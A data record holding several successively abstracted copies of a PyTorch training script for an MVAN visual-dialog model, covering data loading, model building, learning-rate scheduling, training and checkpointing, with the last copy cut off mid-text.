[ "import os\nos.environ[\"CUDA_VISIBLE_DEVICES\"] = \"0,1\"\nimport logging\nimport itertools\n\nimport torch\nfrom torch import nn, optim\nfrom torch.optim import lr_scheduler\nfrom torch.utils.data import DataLoader\nfrom torch.utils.tensorboard import SummaryWriter\n\nfrom tqdm import tqdm\nfrom setproctitle import setproctitle\nfrom bisect import bisect\n\nfrom datetime import datetime\nimport numpy as np\n\nfrom data.dataset import VisDialDataset\nfrom visdial.encoders import Encoder\nfrom visdial.decoders import Decoder\nfrom visdial.model import EncoderDecoderModel\nfrom visdial.utils.checkpointing import CheckpointManager, load_checkpoint\n\nfrom single_evaluation import Evaluation\n\nclass MVAN(object):\n def __init__(self, hparams):\n self.hparams = hparams\n self._logger = logging.getLogger(__name__)\n\n np.random.seed(hparams.random_seed[0])\n torch.manual_seed(hparams.random_seed[0])\n torch.cuda.manual_seed_all(hparams.random_seed[0])\n torch.backends.cudnn.benchmark = False\n torch.backends.cudnn.deterministic = True\n\n self.device = (\n torch.device(\"cuda\", self.hparams.gpu_ids[0])\n if self.hparams.gpu_ids[0] >= 0\n else torch.device(\"cpu\")\n )\n setproctitle(hparams.dataset_version + '_' + hparams.model_name + '_' + str(hparams.random_seed[0]))\n\n # def _build_data_process(self):\n def _build_dataloader(self):\n # =============================================================================\n # SETUP DATASET, DATALOADER\n # =============================================================================\n old_split = \"train\" if self.hparams.dataset_version == \"0.9\" else None\n self.train_dataset = VisDialDataset(\n self.hparams,\n overfit=self.hparams.overfit,\n split=\"train\",\n old_split = old_split\n )\n\n collate_fn = None\n if \"dan\" in self.hparams.img_feature_type:\n collate_fn = self.train_dataset.collate_fn\n\n self.train_dataloader = DataLoader(\n self.train_dataset,\n batch_size=self.hparams.train_batch_size,\n num_workers=self.hparams.cpu_workers,\n shuffle=True,\n drop_last=True,\n collate_fn=collate_fn,\n )\n\n print(\"\"\"\n # -------------------------------------------------------------------------\n # DATALOADER FINISHED\n # -------------------------------------------------------------------------\n \"\"\")\n\n def _build_model(self):\n\n # =============================================================================\n # MODEL : Encoder, Decoder\n # =============================================================================\n\n print('\\t* Building model...')\n # Pass vocabulary to construct Embedding layer.\n encoder = Encoder(self.hparams, self.train_dataset.vocabulary)\n decoder = Decoder(self.hparams, self.train_dataset.vocabulary)\n\n print(\"Encoder: {}\".format(self.hparams.encoder))\n print(\"Decoder: {}\".format(self.hparams.decoder))\n\n # New: Initializing word_embed using GloVe\n if self.hparams.glove_npy != '':\n encoder.word_embed.weight.data = torch.from_numpy(np.load(self.hparams.glove_npy))\n print(\"Loaded glove vectors from {}\".format(self.hparams.glove_npy))\n # Share word embedding between encoder and decoder.\n decoder.word_embed = encoder.word_embed\n\n # Wrap encoder and decoder in a model.\n self.model = EncoderDecoderModel(encoder, decoder)\n self.model = self.model.to(self.device)\n # Use Multi-GPUs\n if -1 not in self.hparams.gpu_ids and len(self.hparams.gpu_ids) > 1:\n self.model = nn.DataParallel(self.model, self.hparams.gpu_ids)\n\n # =============================================================================\n # CRITERION\n # =============================================================================\n if \"disc\" in self.hparams.decoder:\n self.criterion = nn.CrossEntropyLoss()\n\n elif \"gen\" in self.hparams.decoder:\n self.criterion = nn.CrossEntropyLoss(ignore_index=self.train_dataset.vocabulary.PAD_INDEX)\n\n # Total Iterations -> for learning rate scheduler\n if self.hparams.training_splits == \"trainval\":\n self.iterations = (len(self.train_dataset) + len(self.valid_dataset)) // self.hparams.virtual_batch_size\n else:\n self.iterations = len(self.train_dataset) // self.hparams.virtual_batch_size\n\n # =============================================================================\n # OPTIMIZER, SCHEDULER\n # =============================================================================\n\n def lr_lambda_fun(current_iteration: int) -> float:\n \"\"\"Returns a learning rate multiplier.\n\n Till `warmup_epochs`, learning rate linearly increases to `initial_lr`,\n and then gets multiplied by `lr_gamma` every time a milestone is crossed.\n \"\"\"\n current_epoch = float(current_iteration) / self.iterations\n if current_epoch <= self.hparams.warmup_epochs:\n alpha = current_epoch / float(self.hparams.warmup_epochs)\n return self.hparams.warmup_factor * (1.0 - alpha) + alpha\n else:\n return_val = 1.0\n if current_epoch >= self.hparams.lr_milestones[0] and current_epoch < self.hparams.lr_milestones2[0]:\n idx = bisect(self.hparams.lr_milestones, current_epoch)\n return_val = pow(self.hparams.lr_gamma, idx)\n elif current_epoch >= self.hparams.lr_milestones2[0]:\n idx = bisect(self.hparams.lr_milestones2, current_epoch)\n return_val = self.hparams.lr_gamma * pow(self.hparams.lr_gamma2, idx)\n return return_val\n\n if self.hparams.lr_scheduler == \"LambdaLR\":\n self.optimizer = optim.Adam(self.model.parameters(), lr=self.hparams.initial_lr)\n self.scheduler = lr_scheduler.LambdaLR(self.optimizer, lr_lambda=lr_lambda_fun)\n else:\n raise NotImplementedError\n\n print(\n \"\"\"\n # -------------------------------------------------------------------------\n # Model Build Finished\n # -------------------------------------------------------------------------\n \"\"\"\n )\n\n def _setup_training(self):\n if self.hparams.save_dirpath == 'checkpoints/':\n self.save_dirpath = os.path.join(self.hparams.root_dir, self.hparams.save_dirpath)\n self.summary_writer = SummaryWriter(self.save_dirpath)\n self.checkpoint_manager = CheckpointManager(\n self.model, self.optimizer, self.save_dirpath, hparams=self.hparams\n )\n\n # If loading from checkpoint, adjust start epoch and load parameters.\n if self.hparams.load_pthpath == \"\":\n self.start_epoch = 1\n else:\n # \"path/to/checkpoint_xx.pth\" -> xx\n self.start_epoch = int(self.hparams.load_pthpath.split(\"_\")[-1][:-4])\n self.start_epoch += 1\n model_state_dict, optimizer_state_dict = load_checkpoint(self.hparams.load_pthpath)\n if isinstance(self.model, nn.DataParallel):\n self.model.module.load_state_dict(model_state_dict)\n else:\n self.model.load_state_dict(model_state_dict)\n self.optimizer.load_state_dict(optimizer_state_dict)\n self.previous_model_path = self.hparams.load_pthpath\n print(\"Loaded model from {}\".format(self.hparams.load_pthpath))\n\n print(\n \"\"\"\n # -------------------------------------------------------------------------\n # Setup Training Finished\n # -------------------------------------------------------------------------\n \"\"\"\n )\n\n def _loss_fn(self, epoch, batch, output):\n target = (batch[\"ans_ind\"] if \"disc\" in self.hparams.decoder else batch[\"ans_out\"])\n batch_loss = self.criterion(output.view(-1, output.size(-1)), target.view(-1).to(self.device))\n\n return batch_loss\n\n def train(self):\n\n self._build_dataloader()\n self._build_model()\n self._setup_training()\n\n # Evaluation Setup\n evaluation = Evaluation(self.hparams, model=self.model, split=\"val\")\n\n # Forever increasing counter to keep track of iterations (for tensorboard log).\n global_iteration_step = (self.start_epoch - 1) * self.iterations\n\n running_loss = 0.0 # New\n train_begin = datetime.utcnow() # New\n print(\n \"\"\"\n # -------------------------------------------------------------------------\n # Model Train Starts (NEW)\n # -------------------------------------------------------------------------\n \"\"\"\n )\n for epoch in range(self.start_epoch, self.hparams.num_epochs):\n self.model.train()\n # -------------------------------------------------------------------------\n # ON EPOCH START (combine dataloaders if training on train + val)\n # -------------------------------------------------------------------------\n combined_dataloader = itertools.chain(self.train_dataloader)\n\n print(f\"\\nTraining for epoch {epoch}:\", \"Total Iter:\", self.iterations)\n tqdm_batch_iterator = tqdm(combined_dataloader)\n accumulate_batch = 0 # taesun New\n\n for i, batch in enumerate(tqdm_batch_iterator):\n buffer_batch = batch.copy()\n for key in batch:\n buffer_batch[key] = buffer_batch[key].to(self.device)\n\n output = self.model(buffer_batch)\n batch_loss = self._loss_fn(epoch, batch, output)\n batch_loss.backward()\n\n accumulate_batch += batch[\"img_ids\"].shape[0]\n if self.hparams.virtual_batch_size == accumulate_batch \\\n or i == (len(self.train_dataset) // self.hparams.train_batch_size): # last batch\n\n self.optimizer.step()\n\n # --------------------------------------------------------------------\n # Update running loss and decay learning rates\n # --------------------------------------------------------------------\n if running_loss > 0.0:\n running_loss = 0.95 * running_loss + 0.05 * batch_loss.item()\n else:\n running_loss = batch_loss.item()\n\n self.optimizer.zero_grad()\n accumulate_batch = 0\n\n self.scheduler.step(global_iteration_step)\n\n global_iteration_step += 1\n # torch.cuda.empty_cache()\n description = \"[{}][Epoch: {:3d}][Iter: {:6d}][Loss: {:6f}][lr: {:7f}]\".format(\n datetime.utcnow() - train_begin,\n epoch,\n global_iteration_step, running_loss,\n self.optimizer.param_groups[0]['lr'])\n tqdm_batch_iterator.set_description(description)\n\n # tensorboard\n if global_iteration_step % self.hparams.tensorboard_step == 0:\n description = \"[{}][Epoch: {:3d}][Iter: {:6d}][Loss: {:6f}][lr: {:7f}]\".format(\n datetime.utcnow() - train_begin,\n epoch,\n global_iteration_step, running_loss,\n self.optimizer.param_groups[0]['lr'],\n )\n self._logger.info(description)\n # tensorboard writing scalar\n self.summary_writer.add_scalar(\n \"train/loss\", batch_loss, global_iteration_step\n )\n self.summary_writer.add_scalar(\n \"train/lr\", self.optimizer.param_groups[0][\"lr\"], global_iteration_step\n )\n\n # -------------------------------------------------------------------------\n # ON EPOCH END (checkpointing and validation)\n # -------------------------------------------------------------------------\n self.checkpoint_manager.step(epoch)\n self.previous_model_path = os.path.join(self.checkpoint_manager.ckpt_dirpath, \"checkpoint_%d.pth\" % (epoch))\n self._logger.info(self.previous_model_path)\n\n if epoch < self.hparams.num_epochs - 1 and self.hparams.dataset_version == '0.9':\n continue\n\n torch.cuda.empty_cache()\n evaluation.run_evaluate(self.previous_model_path, global_iteration_step, self.summary_writer,\n os.path.join(self.checkpoint_manager.ckpt_dirpath, \"ranks_%d_valid.json\" % epoch))\n torch.cuda.empty_cache()\n\n return self.previous_model_path", "import os\nos.environ['CUDA_VISIBLE_DEVICES'] = '0,1'\nimport logging\nimport itertools\nimport torch\nfrom torch import nn, optim\nfrom torch.optim import lr_scheduler\nfrom torch.utils.data import DataLoader\nfrom torch.utils.tensorboard import SummaryWriter\nfrom tqdm import tqdm\nfrom setproctitle import setproctitle\nfrom bisect import bisect\nfrom datetime import datetime\nimport numpy as np\nfrom data.dataset import VisDialDataset\nfrom visdial.encoders import Encoder\nfrom visdial.decoders import Decoder\nfrom visdial.model import EncoderDecoderModel\nfrom visdial.utils.checkpointing import CheckpointManager, load_checkpoint\nfrom single_evaluation import Evaluation\n\n\nclass MVAN(object):\n\n def __init__(self, hparams):\n self.hparams = hparams\n self._logger = logging.getLogger(__name__)\n np.random.seed(hparams.random_seed[0])\n torch.manual_seed(hparams.random_seed[0])\n torch.cuda.manual_seed_all(hparams.random_seed[0])\n torch.backends.cudnn.benchmark = False\n torch.backends.cudnn.deterministic = True\n self.device = torch.device('cuda', self.hparams.gpu_ids[0]\n ) if self.hparams.gpu_ids[0] >= 0 else torch.device('cpu')\n setproctitle(hparams.dataset_version + '_' + hparams.model_name +\n '_' + str(hparams.random_seed[0]))\n\n def _build_dataloader(self):\n old_split = 'train' if self.hparams.dataset_version == '0.9' else None\n self.train_dataset = VisDialDataset(self.hparams, overfit=self.\n hparams.overfit, split='train', old_split=old_split)\n collate_fn = None\n if 'dan' in self.hparams.img_feature_type:\n collate_fn = self.train_dataset.collate_fn\n self.train_dataloader = DataLoader(self.train_dataset, batch_size=\n self.hparams.train_batch_size, num_workers=self.hparams.\n cpu_workers, shuffle=True, drop_last=True, collate_fn=collate_fn)\n print(\n \"\"\"\n # -------------------------------------------------------------------------\n # DATALOADER FINISHED\n # -------------------------------------------------------------------------\n \"\"\"\n )\n\n def _build_model(self):\n print('\\t* Building model...')\n encoder = Encoder(self.hparams, self.train_dataset.vocabulary)\n decoder = Decoder(self.hparams, self.train_dataset.vocabulary)\n print('Encoder: {}'.format(self.hparams.encoder))\n print('Decoder: {}'.format(self.hparams.decoder))\n if self.hparams.glove_npy != '':\n encoder.word_embed.weight.data = torch.from_numpy(np.load(self.\n hparams.glove_npy))\n print('Loaded glove vectors from {}'.format(self.hparams.glove_npy)\n )\n decoder.word_embed = encoder.word_embed\n self.model = EncoderDecoderModel(encoder, decoder)\n self.model = self.model.to(self.device)\n if -1 not in self.hparams.gpu_ids and len(self.hparams.gpu_ids) > 1:\n self.model = nn.DataParallel(self.model, self.hparams.gpu_ids)\n if 'disc' in self.hparams.decoder:\n self.criterion = nn.CrossEntropyLoss()\n elif 'gen' in self.hparams.decoder:\n self.criterion = nn.CrossEntropyLoss(ignore_index=self.\n train_dataset.vocabulary.PAD_INDEX)\n if self.hparams.training_splits == 'trainval':\n self.iterations = (len(self.train_dataset) + len(self.\n valid_dataset)) // self.hparams.virtual_batch_size\n else:\n self.iterations = len(self.train_dataset\n ) // self.hparams.virtual_batch_size\n\n def lr_lambda_fun(current_iteration: int) ->float:\n \"\"\"Returns a learning rate multiplier.\n\n Till `warmup_epochs`, learning rate linearly increases to `initial_lr`,\n and then gets multiplied by `lr_gamma` every time a milestone is crossed.\n \"\"\"\n current_epoch = float(current_iteration) / self.iterations\n if current_epoch <= self.hparams.warmup_epochs:\n alpha = current_epoch / float(self.hparams.warmup_epochs)\n return self.hparams.warmup_factor * (1.0 - alpha) + alpha\n else:\n return_val = 1.0\n if current_epoch >= self.hparams.lr_milestones[0\n ] and current_epoch < self.hparams.lr_milestones2[0]:\n idx = bisect(self.hparams.lr_milestones, current_epoch)\n return_val = pow(self.hparams.lr_gamma, idx)\n elif current_epoch >= self.hparams.lr_milestones2[0]:\n idx = bisect(self.hparams.lr_milestones2, current_epoch)\n return_val = self.hparams.lr_gamma * pow(self.hparams.\n lr_gamma2, idx)\n return return_val\n if self.hparams.lr_scheduler == 'LambdaLR':\n self.optimizer = optim.Adam(self.model.parameters(), lr=self.\n hparams.initial_lr)\n self.scheduler = lr_scheduler.LambdaLR(self.optimizer,\n lr_lambda=lr_lambda_fun)\n else:\n raise NotImplementedError\n print(\n \"\"\"\n # -------------------------------------------------------------------------\n # Model Build Finished\n # -------------------------------------------------------------------------\n \"\"\"\n )\n\n def _setup_training(self):\n if self.hparams.save_dirpath == 'checkpoints/':\n self.save_dirpath = os.path.join(self.hparams.root_dir, self.\n hparams.save_dirpath)\n self.summary_writer = SummaryWriter(self.save_dirpath)\n self.checkpoint_manager = CheckpointManager(self.model, self.\n optimizer, self.save_dirpath, hparams=self.hparams)\n if self.hparams.load_pthpath == '':\n self.start_epoch = 1\n else:\n self.start_epoch = int(self.hparams.load_pthpath.split('_')[-1]\n [:-4])\n self.start_epoch += 1\n model_state_dict, optimizer_state_dict = load_checkpoint(self.\n hparams.load_pthpath)\n if isinstance(self.model, nn.DataParallel):\n self.model.module.load_state_dict(model_state_dict)\n else:\n self.model.load_state_dict(model_state_dict)\n self.optimizer.load_state_dict(optimizer_state_dict)\n self.previous_model_path = self.hparams.load_pthpath\n print('Loaded model from {}'.format(self.hparams.load_pthpath))\n print(\n \"\"\"\n # -------------------------------------------------------------------------\n # Setup Training Finished\n # -------------------------------------------------------------------------\n \"\"\"\n )\n\n def _loss_fn(self, epoch, batch, output):\n target = batch['ans_ind'] if 'disc' in self.hparams.decoder else batch[\n 'ans_out']\n batch_loss = self.criterion(output.view(-1, output.size(-1)),\n target.view(-1).to(self.device))\n return batch_loss\n\n def train(self):\n self._build_dataloader()\n self._build_model()\n self._setup_training()\n evaluation = Evaluation(self.hparams, model=self.model, split='val')\n global_iteration_step = (self.start_epoch - 1) * self.iterations\n running_loss = 0.0\n train_begin = datetime.utcnow()\n print(\n \"\"\"\n # -------------------------------------------------------------------------\n # Model Train Starts (NEW)\n # -------------------------------------------------------------------------\n \"\"\"\n )\n for epoch in range(self.start_epoch, self.hparams.num_epochs):\n self.model.train()\n combined_dataloader = itertools.chain(self.train_dataloader)\n print(f'\\nTraining for epoch {epoch}:', 'Total Iter:', self.\n iterations)\n tqdm_batch_iterator = tqdm(combined_dataloader)\n accumulate_batch = 0\n for i, batch in enumerate(tqdm_batch_iterator):\n buffer_batch = batch.copy()\n for key in batch:\n buffer_batch[key] = buffer_batch[key].to(self.device)\n output = self.model(buffer_batch)\n batch_loss = self._loss_fn(epoch, batch, output)\n batch_loss.backward()\n accumulate_batch += batch['img_ids'].shape[0]\n if (self.hparams.virtual_batch_size == accumulate_batch or \n i == len(self.train_dataset) // self.hparams.\n train_batch_size):\n self.optimizer.step()\n if running_loss > 0.0:\n running_loss = (0.95 * running_loss + 0.05 *\n batch_loss.item())\n else:\n running_loss = batch_loss.item()\n self.optimizer.zero_grad()\n accumulate_batch = 0\n self.scheduler.step(global_iteration_step)\n global_iteration_step += 1\n description = (\n '[{}][Epoch: {:3d}][Iter: {:6d}][Loss: {:6f}][lr: {:7f}]'\n .format(datetime.utcnow() - train_begin, epoch,\n global_iteration_step, running_loss, self.optimizer\n .param_groups[0]['lr']))\n tqdm_batch_iterator.set_description(description)\n if (global_iteration_step % self.hparams.\n tensorboard_step == 0):\n description = (\n '[{}][Epoch: {:3d}][Iter: {:6d}][Loss: {:6f}][lr: {:7f}]'\n .format(datetime.utcnow() - train_begin, epoch,\n global_iteration_step, running_loss, self.\n optimizer.param_groups[0]['lr']))\n self._logger.info(description)\n self.summary_writer.add_scalar('train/loss',\n batch_loss, global_iteration_step)\n self.summary_writer.add_scalar('train/lr', self.\n optimizer.param_groups[0]['lr'],\n global_iteration_step)\n self.checkpoint_manager.step(epoch)\n self.previous_model_path = os.path.join(self.checkpoint_manager\n .ckpt_dirpath, 'checkpoint_%d.pth' % epoch)\n self._logger.info(self.previous_model_path)\n if (epoch < self.hparams.num_epochs - 1 and self.hparams.\n dataset_version == '0.9'):\n continue\n torch.cuda.empty_cache()\n evaluation.run_evaluate(self.previous_model_path,\n global_iteration_step, self.summary_writer, os.path.join(\n self.checkpoint_manager.ckpt_dirpath, 'ranks_%d_valid.json' %\n epoch))\n torch.cuda.empty_cache()\n return self.previous_model_path\n", "<import token>\nos.environ['CUDA_VISIBLE_DEVICES'] = '0,1'\n<import token>\n\n\nclass MVAN(object):\n\n def __init__(self, hparams):\n self.hparams = hparams\n self._logger = logging.getLogger(__name__)\n np.random.seed(hparams.random_seed[0])\n torch.manual_seed(hparams.random_seed[0])\n torch.cuda.manual_seed_all(hparams.random_seed[0])\n torch.backends.cudnn.benchmark = False\n torch.backends.cudnn.deterministic = True\n self.device = torch.device('cuda', self.hparams.gpu_ids[0]\n ) if self.hparams.gpu_ids[0] >= 0 else torch.device('cpu')\n setproctitle(hparams.dataset_version + '_' + hparams.model_name +\n '_' + str(hparams.random_seed[0]))\n\n def _build_dataloader(self):\n old_split = 'train' if self.hparams.dataset_version == '0.9' else None\n self.train_dataset = VisDialDataset(self.hparams, overfit=self.\n hparams.overfit, split='train', old_split=old_split)\n collate_fn = None\n if 'dan' in self.hparams.img_feature_type:\n collate_fn = self.train_dataset.collate_fn\n self.train_dataloader = DataLoader(self.train_dataset, batch_size=\n self.hparams.train_batch_size, num_workers=self.hparams.\n cpu_workers, shuffle=True, drop_last=True, collate_fn=collate_fn)\n print(\n \"\"\"\n # -------------------------------------------------------------------------\n # DATALOADER FINISHED\n # -------------------------------------------------------------------------\n \"\"\"\n )\n\n def _build_model(self):\n print('\\t* Building model...')\n encoder = Encoder(self.hparams, self.train_dataset.vocabulary)\n decoder = Decoder(self.hparams, self.train_dataset.vocabulary)\n print('Encoder: {}'.format(self.hparams.encoder))\n print('Decoder: {}'.format(self.hparams.decoder))\n if self.hparams.glove_npy != '':\n encoder.word_embed.weight.data = torch.from_numpy(np.load(self.\n hparams.glove_npy))\n print('Loaded glove vectors from {}'.format(self.hparams.glove_npy)\n )\n decoder.word_embed = encoder.word_embed\n self.model = EncoderDecoderModel(encoder, decoder)\n self.model = self.model.to(self.device)\n if -1 not in self.hparams.gpu_ids and len(self.hparams.gpu_ids) > 1:\n self.model = nn.DataParallel(self.model, self.hparams.gpu_ids)\n if 'disc' in self.hparams.decoder:\n self.criterion = nn.CrossEntropyLoss()\n elif 'gen' in self.hparams.decoder:\n self.criterion = nn.CrossEntropyLoss(ignore_index=self.\n train_dataset.vocabulary.PAD_INDEX)\n if self.hparams.training_splits == 'trainval':\n self.iterations = (len(self.train_dataset) + len(self.\n valid_dataset)) // self.hparams.virtual_batch_size\n else:\n self.iterations = len(self.train_dataset\n ) // self.hparams.virtual_batch_size\n\n def lr_lambda_fun(current_iteration: int) ->float:\n \"\"\"Returns a learning rate multiplier.\n\n Till `warmup_epochs`, learning rate linearly increases to `initial_lr`,\n and then gets multiplied by `lr_gamma` every time a milestone is crossed.\n \"\"\"\n current_epoch = float(current_iteration) / self.iterations\n if current_epoch <= self.hparams.warmup_epochs:\n alpha = current_epoch / float(self.hparams.warmup_epochs)\n return self.hparams.warmup_factor * (1.0 - alpha) + alpha\n else:\n return_val = 1.0\n if current_epoch >= self.hparams.lr_milestones[0\n ] and current_epoch < self.hparams.lr_milestones2[0]:\n idx = bisect(self.hparams.lr_milestones, current_epoch)\n return_val = pow(self.hparams.lr_gamma, idx)\n elif current_epoch >= self.hparams.lr_milestones2[0]:\n idx = bisect(self.hparams.lr_milestones2, current_epoch)\n return_val = self.hparams.lr_gamma * pow(self.hparams.\n lr_gamma2, idx)\n return return_val\n if self.hparams.lr_scheduler == 'LambdaLR':\n self.optimizer = optim.Adam(self.model.parameters(), lr=self.\n hparams.initial_lr)\n self.scheduler = lr_scheduler.LambdaLR(self.optimizer,\n lr_lambda=lr_lambda_fun)\n else:\n raise NotImplementedError\n print(\n \"\"\"\n # -------------------------------------------------------------------------\n # Model Build Finished\n # -------------------------------------------------------------------------\n \"\"\"\n )\n\n def _setup_training(self):\n if self.hparams.save_dirpath == 'checkpoints/':\n self.save_dirpath = os.path.join(self.hparams.root_dir, self.\n hparams.save_dirpath)\n self.summary_writer = SummaryWriter(self.save_dirpath)\n self.checkpoint_manager = CheckpointManager(self.model, self.\n optimizer, self.save_dirpath, hparams=self.hparams)\n if self.hparams.load_pthpath == '':\n self.start_epoch = 1\n else:\n self.start_epoch = int(self.hparams.load_pthpath.split('_')[-1]\n [:-4])\n self.start_epoch += 1\n model_state_dict, optimizer_state_dict = load_checkpoint(self.\n hparams.load_pthpath)\n if isinstance(self.model, nn.DataParallel):\n self.model.module.load_state_dict(model_state_dict)\n else:\n self.model.load_state_dict(model_state_dict)\n self.optimizer.load_state_dict(optimizer_state_dict)\n self.previous_model_path = self.hparams.load_pthpath\n print('Loaded model from {}'.format(self.hparams.load_pthpath))\n print(\n \"\"\"\n # -------------------------------------------------------------------------\n # Setup Training Finished\n # -------------------------------------------------------------------------\n \"\"\"\n )\n\n def _loss_fn(self, epoch, batch, output):\n target = batch['ans_ind'] if 'disc' in self.hparams.decoder else batch[\n 'ans_out']\n batch_loss = self.criterion(output.view(-1, output.size(-1)),\n target.view(-1).to(self.device))\n return batch_loss\n\n def train(self):\n self._build_dataloader()\n self._build_model()\n self._setup_training()\n evaluation = Evaluation(self.hparams, model=self.model, split='val')\n global_iteration_step = (self.start_epoch - 1) * self.iterations\n running_loss = 0.0\n train_begin = datetime.utcnow()\n print(\n \"\"\"\n # -------------------------------------------------------------------------\n # Model Train Starts (NEW)\n # -------------------------------------------------------------------------\n \"\"\"\n )\n for epoch in range(self.start_epoch, self.hparams.num_epochs):\n self.model.train()\n combined_dataloader = itertools.chain(self.train_dataloader)\n print(f'\\nTraining for epoch {epoch}:', 'Total Iter:', self.\n iterations)\n tqdm_batch_iterator = tqdm(combined_dataloader)\n accumulate_batch = 0\n for i, batch in enumerate(tqdm_batch_iterator):\n buffer_batch = batch.copy()\n for key in batch:\n buffer_batch[key] = buffer_batch[key].to(self.device)\n output = self.model(buffer_batch)\n batch_loss = self._loss_fn(epoch, batch, output)\n batch_loss.backward()\n accumulate_batch += batch['img_ids'].shape[0]\n if (self.hparams.virtual_batch_size == accumulate_batch or \n i == len(self.train_dataset) // self.hparams.\n train_batch_size):\n self.optimizer.step()\n if running_loss > 0.0:\n running_loss = (0.95 * running_loss + 0.05 *\n batch_loss.item())\n else:\n running_loss = batch_loss.item()\n self.optimizer.zero_grad()\n accumulate_batch = 0\n self.scheduler.step(global_iteration_step)\n global_iteration_step += 1\n description = (\n '[{}][Epoch: {:3d}][Iter: {:6d}][Loss: {:6f}][lr: {:7f}]'\n .format(datetime.utcnow() - train_begin, epoch,\n global_iteration_step, running_loss, self.optimizer\n .param_groups[0]['lr']))\n tqdm_batch_iterator.set_description(description)\n if (global_iteration_step % self.hparams.\n tensorboard_step == 0):\n description = (\n '[{}][Epoch: {:3d}][Iter: {:6d}][Loss: {:6f}][lr: {:7f}]'\n .format(datetime.utcnow() - train_begin, epoch,\n global_iteration_step, running_loss, self.\n optimizer.param_groups[0]['lr']))\n self._logger.info(description)\n self.summary_writer.add_scalar('train/loss',\n batch_loss, global_iteration_step)\n self.summary_writer.add_scalar('train/lr', self.\n optimizer.param_groups[0]['lr'],\n global_iteration_step)\n self.checkpoint_manager.step(epoch)\n self.previous_model_path = os.path.join(self.checkpoint_manager\n .ckpt_dirpath, 'checkpoint_%d.pth' % epoch)\n self._logger.info(self.previous_model_path)\n if (epoch < self.hparams.num_epochs - 1 and self.hparams.\n dataset_version == '0.9'):\n continue\n torch.cuda.empty_cache()\n evaluation.run_evaluate(self.previous_model_path,\n global_iteration_step, self.summary_writer, os.path.join(\n self.checkpoint_manager.ckpt_dirpath, 'ranks_%d_valid.json' %\n epoch))\n torch.cuda.empty_cache()\n return self.previous_model_path\n", "<import token>\n<assignment token>\n<import token>\n\n\nclass MVAN(object):\n\n def __init__(self, hparams):\n self.hparams = hparams\n self._logger = logging.getLogger(__name__)\n np.random.seed(hparams.random_seed[0])\n torch.manual_seed(hparams.random_seed[0])\n torch.cuda.manual_seed_all(hparams.random_seed[0])\n torch.backends.cudnn.benchmark = False\n torch.backends.cudnn.deterministic = True\n self.device = torch.device('cuda', self.hparams.gpu_ids[0]\n ) if self.hparams.gpu_ids[0] >= 0 else torch.device('cpu')\n setproctitle(hparams.dataset_version + '_' + hparams.model_name +\n '_' + str(hparams.random_seed[0]))\n\n def _build_dataloader(self):\n old_split = 'train' if self.hparams.dataset_version == '0.9' else None\n self.train_dataset = VisDialDataset(self.hparams, overfit=self.\n hparams.overfit, split='train', old_split=old_split)\n collate_fn = None\n if 'dan' in self.hparams.img_feature_type:\n collate_fn = self.train_dataset.collate_fn\n self.train_dataloader = DataLoader(self.train_dataset, batch_size=\n self.hparams.train_batch_size, num_workers=self.hparams.\n cpu_workers, shuffle=True, drop_last=True, collate_fn=collate_fn)\n print(\n \"\"\"\n # -------------------------------------------------------------------------\n # DATALOADER FINISHED\n # -------------------------------------------------------------------------\n \"\"\"\n )\n\n def _build_model(self):\n print('\\t* Building model...')\n encoder = Encoder(self.hparams, self.train_dataset.vocabulary)\n decoder = Decoder(self.hparams, self.train_dataset.vocabulary)\n print('Encoder: {}'.format(self.hparams.encoder))\n print('Decoder: {}'.format(self.hparams.decoder))\n if self.hparams.glove_npy != '':\n encoder.word_embed.weight.data = torch.from_numpy(np.load(self.\n hparams.glove_npy))\n print('Loaded glove vectors from {}'.format(self.hparams.glove_npy)\n )\n decoder.word_embed = encoder.word_embed\n self.model = EncoderDecoderModel(encoder, decoder)\n self.model = self.model.to(self.device)\n if -1 not in self.hparams.gpu_ids and len(self.hparams.gpu_ids) > 1:\n self.model = nn.DataParallel(self.model, self.hparams.gpu_ids)\n if 'disc' in self.hparams.decoder:\n self.criterion = nn.CrossEntropyLoss()\n elif 'gen' in self.hparams.decoder:\n self.criterion = nn.CrossEntropyLoss(ignore_index=self.\n train_dataset.vocabulary.PAD_INDEX)\n if self.hparams.training_splits == 'trainval':\n self.iterations = (len(self.train_dataset) + len(self.\n valid_dataset)) // self.hparams.virtual_batch_size\n else:\n self.iterations = len(self.train_dataset\n ) // self.hparams.virtual_batch_size\n\n def lr_lambda_fun(current_iteration: int) ->float:\n \"\"\"Returns a learning rate multiplier.\n\n Till `warmup_epochs`, learning rate linearly increases to `initial_lr`,\n and then gets multiplied by `lr_gamma` every time a milestone is crossed.\n \"\"\"\n current_epoch = float(current_iteration) / self.iterations\n if current_epoch <= self.hparams.warmup_epochs:\n alpha = current_epoch / float(self.hparams.warmup_epochs)\n return self.hparams.warmup_factor * (1.0 - alpha) + alpha\n else:\n return_val = 1.0\n if current_epoch >= self.hparams.lr_milestones[0\n ] and current_epoch < self.hparams.lr_milestones2[0]:\n idx = bisect(self.hparams.lr_milestones, current_epoch)\n return_val = pow(self.hparams.lr_gamma, idx)\n elif current_epoch >= self.hparams.lr_milestones2[0]:\n idx = bisect(self.hparams.lr_milestones2, current_epoch)\n return_val = self.hparams.lr_gamma * pow(self.hparams.\n lr_gamma2, idx)\n return return_val\n if self.hparams.lr_scheduler == 'LambdaLR':\n self.optimizer = optim.Adam(self.model.parameters(), lr=self.\n hparams.initial_lr)\n self.scheduler = lr_scheduler.LambdaLR(self.optimizer,\n lr_lambda=lr_lambda_fun)\n else:\n raise NotImplementedError\n print(\n \"\"\"\n # -------------------------------------------------------------------------\n # Model Build Finished\n # -------------------------------------------------------------------------\n \"\"\"\n )\n\n def _setup_training(self):\n if self.hparams.save_dirpath == 'checkpoints/':\n self.save_dirpath = os.path.join(self.hparams.root_dir, self.\n hparams.save_dirpath)\n self.summary_writer = SummaryWriter(self.save_dirpath)\n self.checkpoint_manager = CheckpointManager(self.model, self.\n optimizer, self.save_dirpath, hparams=self.hparams)\n if self.hparams.load_pthpath == '':\n self.start_epoch = 1\n else:\n self.start_epoch = int(self.hparams.load_pthpath.split('_')[-1]\n [:-4])\n self.start_epoch += 1\n model_state_dict, optimizer_state_dict = load_checkpoint(self.\n hparams.load_pthpath)\n if isinstance(self.model, nn.DataParallel):\n self.model.module.load_state_dict(model_state_dict)\n else:\n self.model.load_state_dict(model_state_dict)\n self.optimizer.load_state_dict(optimizer_state_dict)\n self.previous_model_path = self.hparams.load_pthpath\n print('Loaded model from {}'.format(self.hparams.load_pthpath))\n print(\n \"\"\"\n # -------------------------------------------------------------------------\n # Setup Training Finished\n # -------------------------------------------------------------------------\n 